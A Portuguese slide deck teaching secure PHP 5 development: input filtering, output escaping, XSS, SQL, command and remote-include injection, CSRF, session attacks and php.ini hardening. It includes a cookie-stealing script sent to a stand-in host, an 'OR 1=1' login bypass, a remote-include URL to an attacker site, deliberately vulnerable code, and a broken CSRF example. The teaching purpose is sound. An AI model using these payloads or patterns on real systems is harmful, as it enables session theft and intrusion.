



Segurança Web com PHP 5

Douglas V. Pasqua

Zend Certified Enginner

Objetivo



- Disseminar boas práticas para o desenvolvimento de código seguro em php.
- Exemplificar como são feitos os ataques e suas respectivas formas de prevenção.
- Concientizar sobre a responsabilidade da segurança no desenvolvimento de uma aplicação.
- Abordar os tópicos de segurança que são temas do exame de certificação da Zend.

Tópicos



- **Introdução a Segurança.**
- **Conceitos e boas práticas. (Filtrando Input e Escapando Output).**
- **Injection Attaks(XSS, SQL, Command, Remote Code).**
- **XSRF**
- **Segurança na Sessão (Session Fixation e Session Hijacking)**
- **Configurações de segurança no php.ini.**
- **Shared Hosting.**

Introdução a Segurança



- Responsabilidade pela Segurança.
- Princípios de um desenvolvimento seguro para aplicações Web.
- Você pode confiar nos dados que estão sendo processados ? Quais os dados confiáveis ?
- Como a maioria dos ataques podem ser evitados ?
- Tenha em mente a importância de se desenvolver uma aplicação segura.

Filtrando Input.



→ Exemplo:

```
<form action="login.php" method="post">
Usuário: <input type="text" name="usuario" /><br />
Senha: <input type="password" name="senha" /><br />
Empresa: <select name="id_empresa">
    <option>nacional</option>
    <option>internacional</option>
    <option>filial</option>
</select><br/>
<input type="submit" value="Enviar" />
</form>
```

Filtrando Input



→ Regras de Validação:

Usuário deve ser caracteres alfabéticos.

Senha deve ser alfanumérico.

Empresa deve conter somente 'nacional', 'internacional' ou 'filial'.

→ Validar no lado do cliente(Javascript) ou no lado do Servidor ?

→ Validando no lado do servidor:

Filtrando Input



```
<?php
$clean = array();
if (ctype_alpha($_POST['usuario'])) {
    $clean['usuario'] = $_POST['usuario'];
}
if (ctype_alnum($_POST['senha'])) {
    $clean['senha'] = $_POST['senha'];
}
$empresas = array('nacional', 'internacional', 'filial');
if (in_array($_POST['empresa'], $empresas)) {
    $clean['empresa'] = $_POST['empresa'];
}
```

Filtrando Input



→ Validando:

```
<?php
$errors = array ();
if (!array_key_exists('usuario', $clean))
    $errors[] = 'Campo usuário inválido. Usar somente
    caracteres alfabéticos.';
```

Escapando Output



- Qual a importância de escapar output?
- Escapar output deve fazer parte do filtro de input?
- Escapando output de acordo com o destino: Web Browser e Database
- Escapar output – Web Browser
- `htmlspecialchars` / `htmlspecialchars`:

```
$message = "A 'quote' is <b>bold</b>";
```

Outputs: A 'quote' is bold

```
$html['message'] = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
```

Escapando Output



→ Escapar output - Database

→ *_escape_string

→ Prepared statements

```
$sql = 'SELECT * FROM usuarios WHERE usuario = :usuario AND  
        senha = :senha';  
$sth = $pdo->prepare($sql);  
$sth->execute(array(':username' => $clean['username'],  
                   ':senha' => $clean['senha']));  
$results = $sth->fetchAll();
```

Escapando Output



```
$sql = 'SELECT * FROM usuarios WHERE usuario = ? AND senha = ?';  
$sth = $pdo->prepare($sql);  
$sth->execute(array($clean['username'], $clean['senha']));  
$results = $sth->fetchAll();
```

Cross-Site Scripting



- É um dos mais conhecidos e um mais comuns dos tipos de ataque.
- Explora a confiança que o usuário tem na aplicação.
- O foco está no roubo de informações pessoais dos usuários, como por exemplo, os cookies.
- Exemplo:

```
<form method="POST" action="adiciona_comentario.php">  
<p><textarea name="comment"></textarea></p>  
<p><input type="submit"/></p>  
</form>
```

Cross-Site Scripting



```
<script>
document.location =
'http://exemplo.org/getcookies.php?cookies=' +
    document.cookie;
</script>
```

➔ Para prevenir-se do ataque, faça escape do output utilizando `htmlspecialchars`

SQL Injection



- É um ataque no qual o usuário malicioso injeta comandos sql em campos de formulários.
- Primeiro o atacante obtém informações suficientes para realizar o ataque, normalmente através de mensagens de erro do banco de dados.
- Um exemplo popular é o formulário de Login:

```
<form method="POST" action="login.php">  
Username: <input type="text" name="username" /> <br />  
Senha: <input type="password" name="senha" /><br />  
<input type="submit" value="Login">  
</form>
```

SQL Injection



→ O Código Vulnável:

```
$sql = "SELECT count(*)  
      FROM usuarios  
      WHERE usuario = '{$_POST['usuario']}'  
      AND senha= '{$_POST['senha']}'";
```

Nesse caso não é feito o filtro de input. Nada é escapado.

→ Pode-se logar no sistema, passando no campo de usuário o seguinte conteúdo: (Independente do que é passado no campo de senha.)

administrador' OR 1=1 --

SQL Injection



```
SELECT * FROM usuarios
WHERE usuario = 'admin' OR 1 = 1 -- ' AND
        senha = 'senhaqualquer'
```

→ Para prevenir sql injection, utilizar `*_escape_string()` ou de preferência *prepared statements*

Command Injection



- Tome cuidado ao utilizar o input de usuário para montar comandos dinâmicos ao utilizar as funções 'exec', 'system', 'passthru'.
- Evite sempre que possível utilizar funções que executem comandos no shell.
- Se não tiver outra opção, evite utilizar o input de usuário para criar os comandos shell.
- Se for ter que utilizar o input de usuário para montar os comando shell, você pode fazer uso das funções `escapeshellcmd()` e `escapeshellarg()`

Remote Code Injection



- Tome cuidado ao usar o input do usuário para fazer um include dinâmico na sua aplicação.
- Muitas aplicações se baseiam no input do usuário para criar includes em sua aplicação.
- Exemplo:

```
include "${_GET['secao']}/config.php";
```

- Um usuário mal intencionado pode manipular a query string e criar uma URL que irá incluir um arquivo em um site remoto.

<http://www.exemplo.org/?secao=http%3A%2F%2Fwww.sitedoatacante.org%2Fblah.inc%3F>

Remote Code Injection



- Para se prevenir desse ataque, utilize o filtro de input adequado.
- Outra forma de se prevenir é desabilitando a diretiva `allow_url_fopen` do `php.ini`.

XSRF ou CSRF



- O ataque consiste em forjar requisições de outros usuários.
- Explora a confiança que a aplicação tem no usuário.
- É difícil de identificar pois para a aplicação parece ser uma requisição legítima.
- Exemplo: Atacante analisando o formulário:

```
<form action="/transfer.php" method="post">  
<p>To <input type="text" name="to" /></p>  
<p>Valor $<input type="text" name="valor" /></p>  
<p><input type="submit" value="Transferir" /></p>  
</form>
```



→ transfer.php:

```
<?php
$clean = array();
session_start();
if ($_SESSION['auth']) {
    /* Filter To */
    /* Filter Valor */
    /* Make Transfer */
    transfer($clean['to'], $clean['valor']);
}
?>
```

XSRF



→ Forjando GET

```
Entrar</a>
```

Session Fixation



```
<?php
session_start();

if (!array_key_exists('visitas', $_SESSION))
    $_SESSION['visitas'] = 1;
else
    $_SESSION['visitas']++;

echo $_SESSION['visitas'];
?>
```

`http://www.exemplo.com.br/index.php?PHPSESSID=654321`

→ `session.use_only_cookies = Off` (Padrão On)

→ `session.use_trans_sid = On` (Padrão Off)

Session Fixation



→ Protegendo-se contra o ataque de session fixation:
`session_regenerate_id()`

```
<?php
session_start();
if(usuario_autenticado($clean['usuario'], $clean['senha'])) {
    session_regenerate_id();
}
```

Session Hijacking



- Como é feito o ataque de session hijacking ?
- Como se prevenir ?
- HTTP_USER_AGENT

Session Hijacking



```
<?php

session_start();

if (array_key_exists('HTTP_USER_AGENT', $_SESSION)) {
    if ($_SESSION['HTTP_USER_AGENT'] !=
        md5($_SERVER['HTTP_USER_AGENT'])) {
        /* Acesso inválido. O header User-Agent mudou durante a mesma
sessão. */
        exit;
    }
}
else {
    /* Primeiro acesso do usuário, vamos gravar na sessão um hash md5 do
header User-Agent */
    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}
?>
```

Configurações no php.ini



→ Register Globals:

→ Variáveis são “injetadas” no seu código. É impossível determinar a origem dos dados.

→ Exemplo:

```
if (checkLogin( ) ) {  
    $loggedin = TRUE;  
}  
if ($loggedin) {  
}
```

Configurações no php.ini



- Sempre utilizar `$_GET`, `$_POST`, `$_COOKIE`, `$_SESSION`
- Em versões > 4.2.0 – O padrão é Off.
- PHP 6 não terá mais essa opção.

Shared Hosting



→ Usar `safe_mode` ?

→ `php.ini`: `open_basedir`, `disable_functions`, `disable_classes`.

→ `open_basedir`: Limita os locais onde o php pode abrir e incluir arquivos.

Usando `open_basedir` com VirtualHost:

```
<Directory /var/www>  
    php_admin_value open_basedir "/var/www"  
</Directory>
```

→ `disable_functions` e `disable_classes` permitem desabilitar funções e classes do php.

Shared Hosting



; Desabilitar funções

```
disable_functions = exec,passthru,shell_exec,system
```

;Desabilitar classes

```
disable_classes = DirectoryIterator,Directory
```

→ Protegendo sessões em hosts compartilhados usando *session_set_save_handler*:

```
session_set_save_handler(  
    '_open', '_close', '_read', '_write', '_destroy',  
    '_clean');
```



Mais informações:

<http://dpasqua.wordpress.com>

E-mail: douglas.pasqua@gmail.com

Fone: 11 9446-2562